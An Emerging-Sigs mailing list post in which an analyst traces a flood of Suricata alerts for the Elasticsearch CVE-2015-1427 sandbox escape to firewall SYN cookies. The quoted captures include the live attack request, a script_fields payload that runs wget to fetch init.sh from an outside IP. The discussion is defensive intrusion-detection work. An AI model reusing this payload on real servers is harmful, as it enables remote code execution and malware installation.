[Emerging-Sigs] seeing large numbers of alerts for CVE-2015-1427 Elastic Search Sandbox Escape Remote Code Execution Attempt - 2020648

Russell Fulton r.fulton at auckland.ac.nz
Mon Jan 13 12:50:49 HST 2020


apologies this turned out to be a mare’s nest!

I think I have figured out what is happening and why I have not noticed this before.

My current thinking after carefully looking at tcpdump output is that our firewall is sending syn cookies and then when the scanner responds with the data packet the firewall then processes the connection and drops the session with a RST.  

So there is absolutely no issue with suricata and the established flag in the rules

A couple of months ago we had a series of SYN Flood attack which severely impacted the firewall so we turned on SYN Cookies and other DoS mitigation options.  

As a result we are now seeing the first packet of every TCP session even if it gets dropped by the firewall.

I will be moving those rules inside and may end up reviewing my policy of having sensors both inside and outside the firewall.



Russell

> On 13/01/2020, at 1:52 PM, Russell Fulton <r.fulton at auckland.ac.nz> wrote:
> 
> This one really puzzled me for a few hours but now I think I know at least part of what is going on:
> 
> In the past 24 hours we have had 42,000 alerts for unique 20,000 destinations  on our network none of which are exposing TCP 9200 to the ‘Net.  When I look at the actual traffic I find that the traffic is “one sided”, i.e. we see the incoming SYN, an ACK, and then a PUSH ACK with payload — all without any outbound traffic at all.  The pay load of these attempts were clearly malicious and attempted to instal a coin miner.
> 
> Looking at the rule I see that it has “flow:established,to_server;” which I always assumed meant that it required a full 3way handshake but that is clearly not so.  I am not sure if this is a bug or a feature!
> 
> Having started digging I found that some scans from shodan do the same thing.  i.e. just send out one side of the TCP session on to the wire and then sniff the response coming back.  Of course portscanners have worked this way forever!  In the case of the the ES exploit they can completely ignore the packets coming back as the exploit requires no more interaction with the victim once they have delivered the exploit.
> 
> Moloch does not capture this traffic, presumably because it isn’t a properly formed TCP stream.
> 
> My question is should suricata be setting the established flag when there had *not* been a SYN+ACK from the destination?    If it did insist on a SYN+ACK then all of these alerts would vanish.
> 
> Russell
> 
> traffic and signature dumps, slightly edited:
> 
> Placid 2.5.2 by Phil Deneault at deneault at hiddengroup.net	[ Home ][ Search ]
> META
> --------
> SID	CID	TimeStamp		Signature
> 29	162809263	2020-01-13 11:46:56	ET WEB_SERVER Possible CVE-2015-1427 Elastic Search Sandbox Escape Remote Code Execution Attempt
> Sig ID
> 2020648
> 
> IP
> --------
> Source Address	Dest Address	Ver	Hdr Len
> 182.175.243.44	130.216.8.188	4	5
> TOS	length	ID	flags	offset	TTL	chksum
> 40	402	19616	0	0	46	51501
> 
> TCP
> --------
> Source Port	Dest Port	Seq		Ack		
> 60234		9200		2397403193	1555149180
> Offset	Reserved	Flags	Window	Checksum	Urgent Ptr
> 5	0		24	29200	39416		0
> 
> Flags
> --------
> RB 1	RB 0	URG	ACK	PSH	RST	SYN	FIN
> 			X	X				
> 
> 
> DATA - HTTP Headers
> --------------------------------
> POST /_search?pretty HTTP/1.1
> Host: 130.216.8.188:9200
> User-Agent: Go-http-client/1.1
> Content-Length: 208
> Connection: close
> Accept-Encoding: gzip
> 
> {"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh -P /tmp/sssooo\").getText()"}}}
> 
> Tcpdump of traffic:
> 
> 
> 11:46:56.027966 IP 182.175.243.44.60234 > 130.216.8.188.9200: Flags [S], seq 2397403192, win 29200, options [mss 1460,sackOK,TS val 240992352 ecr 0,nop,wscale 7], length 0
>        0x0000:  4528 003c 4c9e 4000 2e06 ca85 b6af f32c  E(.<L. at ........,
>        0x0010:  82d8 08bc eb4a 23f0 8ee5 7838 0000 0000  .....J#...x8....
>        0x0020:  a002 7210 3b69 0000 0204 05b4 0402 080a  ..r.;i..........
>        0x0030:  0e5d 4060 0000 0000 0103 0307            .]@`........
> 11:46:56.256401 IP 182.175.243.44.60234 > 130.216.8.188.9200: Flags [.], ack 1555149180, win 29200, length 0
>        0x0000:  4528 0028 4c9f 4000 2e06 ca98 b6af f32c  E(.(L. at ........,
>        0x0010:  82d8 08bc eb4a 23f0 8ee5 7839 5cb1 b17c  .....J#...x9\..|
>        0x0020:  5010 7210 e3cb 0000 0000 0000 0000       P.r...........
> 11:46:56.256512 IP 182.175.243.44.60234 > 130.216.8.188.9200: Flags [P.], seq 0:362, ack 1, win 29200, length 362
>        0x0000:  4528 0192 4ca0 4000 2e06 c92d b6af f32c  E(..L. at ....-...,
>        0x0010:  82d8 08bc eb4a 23f0 8ee5 7839 5cb1 b17c  .....J#...x9\..|
>        0x0020:  5018 7210 99f8 0000 504f 5354 202f 5f73  P.r.....POST./_s
>        0x0030:  6561 7263 683f 7072 6574 7479 2048 5454  earch?pretty.HTT
>        0x0040:  502f 312e 310d 0a48 6f73 743a 2031 3330  P/1.1..Host:.130
>        0x0050:  2e32 3136 2e38 2e31 3838 3a39 3230 300d  .216.8.188:9200.
>        0x0060:  0a55 7365 722d 4167 656e 743a 2047 6f2d  .User-Agent:.Go-
>        0x0070:  6874 7470 2d63 6c69 656e 742f 312e 310d  http-client/1.1.
>        0x0080:  0a43 6f6e 7465 6e74 2d4c 656e 6774 683a  .Content-Length:
>        0x0090:  2032 3038 0d0a 436f 6e6e 6563 7469 6f6e  .208..Connection
>        0x00a0:  3a20 636c 6f73 650d 0a41 6363 6570 742d  :.close..Accept-
>        0x00b0:  456e 636f 6469 6e67 3a20 677a 6970 0d0a  Encoding:.gzip..
>        0x00c0:  0d0a 7b22 7369 7a65 223a 312c 2022 7363  ..{"size":1,."sc
>        0x00d0:  7269 7074 5f66 6965 6c64 7322 3a20 7b22  ript_fields":.{"
>        0x00e0:  6c75 7069 6e22 3a7b 2273 6372 6970 7422  lupin":{"script"
>        0x00f0:  3a20 226a 6176 612e 6c61 6e67 2e4d 6174  :."java.lang.Mat
>        0x0100:  682e 636c 6173 732e 666f 724e 616d 6528  h.class.forName(
>        0x0110:  5c22 6a61 7661 2e6c 616e 672e 5275 6e74  \"java.lang.Runt
>        0x0120:  696d 655c 2229 2e67 6574 5275 6e74 696d  ime\").getRuntim
>        0x0130:  6528 292e 6578 6563 285c 2277 6765 7420  e().exec(\"wget.
>        0x0140:  6874 7470 3a2f 2f31 3835 2e31 3831 2e31  http://185.181.1
>        0x0150:  302e 3233 342f 4535 4442 3045 3037 4333  0.234/E5DB0E07C3
>        0x0160:  4437 4245 3830 5635 3230 2f69 6e69 742e  D7BE80V520/init.
>        0x0170:  7368 202d 5020 2f74 6d70 2f73 7373 6f6f  sh.-P./tmp/sssoo
>        0x0180:  6f5c 2229 2e67 6574 5465 7874 2829 227d  o\").getText()"}
>        0x0190:  7d7d                                     }}
> 
> 
> 
> 
> 
> 



More information about the Emerging-sigs mailing list